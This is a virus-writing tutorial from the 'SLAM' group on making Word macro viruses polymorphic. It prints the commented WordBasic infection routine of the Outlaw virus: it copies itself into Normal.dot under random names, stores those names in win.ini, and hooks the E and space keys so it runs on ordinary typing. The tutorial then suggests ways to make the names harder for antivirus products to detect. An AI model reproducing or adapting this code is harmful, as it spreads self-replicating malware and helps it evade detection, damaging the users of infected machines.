SLAM.004: Polymorphism in macro virii
POLYFORMISM IN MACRO VIRII
If you don't know what polymorfism is: it's a sort of encryption of a virus, but one that changes the encryption routine every infection.
I hope you got it now, but if you don't I'll say it again:"I'm not an english teacher so fuck it if you can't follow me."
The above description of polymorfism is mainly mend for dos (assembler) virii. With macro virii it is a bit different.
As you probably know a macro virii contains macros (duh...) and as you probably know, those macros have names (duh...). Several AV products look for those names to identify if a file is infected. So the only thing that is to be done is create different names every infection. That's easier said then done, believe me.
The very first polymorfic macro virus created was the Outlaw virus.
It was created by the Nightmare Joker from SLAM. The Outlaw source for creating random macro names is put down here. I think it's quite complicated so I give a full explanation of it beside the source.
For the complete Outlaw virus see "macro viruses".
'This is the macro that infects the Normal.dot
----------------------------------------------------------------
Sub MAIN
On Error Goto Done 'Error handler.
A$ = FileName$() 'A$ = active filename.
If A$ = "" Then Goto Finish 'If no file active goto finish.
If CheckInstalled = 0 Then 'Already installed?...
Routine 'No then goto Sub Routine,
Crypt 'Sub Crypt, Sub PayLoadMakro,
PayloadMakro 'etc.
FileSaveAll 1, 1
Else 'Yes (already installed).
Goto Done 'Goto done.
End If
Done: 'Done (already installed).
A$ = FileName$() 'A$ = active filename.
If A$ = "" Then 'If no file active goto finish.
Goto Finish
Else 'If a file is active,
Insert " " 'insert a "space", for infecting
'the active file.
End If
Finish: 'Finish (no file active).
End Sub
Sub Crypt 'The Sub Crypt.
One = 7369 'Number one is 7369.
Two = 9291 'Number two is 9291.
Num = Int(Rnd() * (Two - One) + One) 'generate random number.
A$ = Str$(Num) 'A$ is generated number.
A$ = LTrim$(A$) 'Delete the empty space before...
'the number. The empty space is...
'for making the number negative,
'e.g. -7369.
Beginn = Hour(Now()) 'Beginn is the active hour.
B$ = Str$(Beginn) 'B$ is the active hour (string).
B$ = LTrim$(B$) 'Delete the empty space in B$.
If B$ = "1" Then C$ = "A" 'If B$ is 1 (1 o'clock)...
'then C$ is A.
If B$ = "2" Then C$ = "B" 'If B$ is 2 (2 o'clock)...
'then C$ is B.
If B$ = "3" Then C$ = "C" 'If B$ is 3 (3 o'clock)...
'then C$ is C.
If B$ = "4" Then C$ = "D" 'Etc.
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"
E$ = C$ + A$ 'E$ is C$ (character) plus...
'A$ (the generated number).
ZU$ = GetDocumentVar$("VirNameDoc") 'ZU$ is macro called VirNameDoc...
'Watch out:VirNameDoc is not...
'the real macro name, it's some...
'sort of string.
PG$ = WindowName$() + ":" + ZU$ 'PG$ is active filename plus...
'":" and plus macro name (ZU$).
MacroCopy PG$, "Global:" + E$ 'Copies macro from document...
'to global template, with...
'the name that was generated.
SetProfileString "Intl", "Name2", E$ 'Set the macro name in...
'win.ini. as "Intl", "Name2", E$.
ToolsCustomizeKeyboard .KeyCode = 69, .Category = 2, .Name = E$, .Add, .Context = 0
'Creates short-cut with the...
'ascii keycode 69 (E). If the...
'E key is pushed the macro...
'E$ will be executed (The above...
'macro). With the .Add you tell...
'Word that you want to add that...
'function to the key not replace...
'it.
End Sub 'End the Sub Crypt
Sub Routine 'Begin Sub Routine
One = 7369 'This is practically...
Two = 9291 'the same as Sub Crypt.
Num = Int(Rnd() * (Two - One) + One) 'I will only explain the...
A$ = Str$(Num) 'things that aren't...
A$ = LTrim$(A$) 'explained above.
Beginn = Hour(Now())
B$ = Str$(Beginn)
B$ = LTrim$(B$)
If B$ = "1" Then C$ = "A"
If B$ = "2" Then C$ = "B"
If B$ = "3" Then C$ = "C"
If B$ = "4" Then C$ = "D"
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"
D$ = C$ + A$ 'The same as in Sub Crypt...
UZ$ = GetDocumentVar$("VirName") 'only with other names.
GP$ = WindowName$() + ":" + UZ$
MacroCopy GP$, "Global:" + D$
SetProfileString "Intl", "Name", D$
ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = D$, .Add, .Context = 0
'This one creates a short-cut...
'with the D$ macro (this macro)...
'if the spacebar (keycode 32)...
'is pushed.
End Sub
Sub PayloadMakro 'Same again.
One = 7369
Two = 9291
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)
Beginn = Hour(Now())
B$ = Str$(Beginn)
B$ = LTrim$(B$)
If B$ = "1" Then C$ = "A"
If B$ = "2" Then C$ = "B"
If B$ = "3" Then C$ = "C"
If B$ = "4" Then C$ = "D"
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"
K$ = C$ + A$ 'Again another name.
ZUZ$ = GetDocumentVar$("VirNamePayload")
GP$ = WindowName$() + ":" + ZUZ$
MacroCopy GP$, "Global:" + K$
SetProfileString "Intl", "Name3", K$ 'Only this time no...
'short-cut because this...
'is the payloadmacro and...
'this payload macro is only...
'executed on a special date...
'that is programmed in...
'another macro. For the...
'whole Outlaw virus, see...
'the virii section.
End Sub
Function CheckInstalled 'A function to check if...
'the virus already installed...
'the global template (Normal.Dot).
CC$ = GetProfileString$("Intl", "Name") 'CC$ is the name of the Routine...
'macro (Sub Routine).
CheckInstalled = 0 'Set the var checkinstalled to 0.
If CountMacros(0) > 0 Then 'If the number of macros in...
'Normal.Dot is greater then 0,
For i = 1 To CountMacros(0) 'then create a for...next loop...
'that loops the number of macros.
If MacroName$(i, 0) = CC$ Then 'If the macro name in...
CheckInstalled = 1 'Normal.dot is CC$ (routine...
'macro) then set var...
'CheckInstalled to 1.
End If 'Ends the If instruction.
Next i 'All macros done? then...
'continue. Else go back to...
'for...next loop.
End If 'Ends the If instruction.
End Function 'The end of the function.
----------------------------------------------------------------
This is one macro from the Outlaw virus. To get the names of the macros, to use them in other macros, just use:
CC$ = GetProfileString$("Intl", "Name")
CC$ can be any string name you want but make sure to use the right name you gave to the macro, in this example "Intl" and "Name".
Viewture & Optimization
A thing that could happen with the way this polymorphic name is generated is that you get 2 same names, OK it's obvious that it won't happen often but you never know. To correct this problem you can use the following code:
Sub Crypt
One = 1
Two = 1000
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)
-------------------------
Sub Routine
One = 1001
Two = 2000
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)
And so on...
As you see I used different numbers so ou couldn't get a same name. You can also use different characters for the first letter.
Another thing is, that the virus checks for the time to generate the first letter. It could be better to randomly generate the first letter. That is fixed easily, just create a second random number generator that generates a number between 1 and 24.
And for the future......
--- Neophyte --- and some help from NJ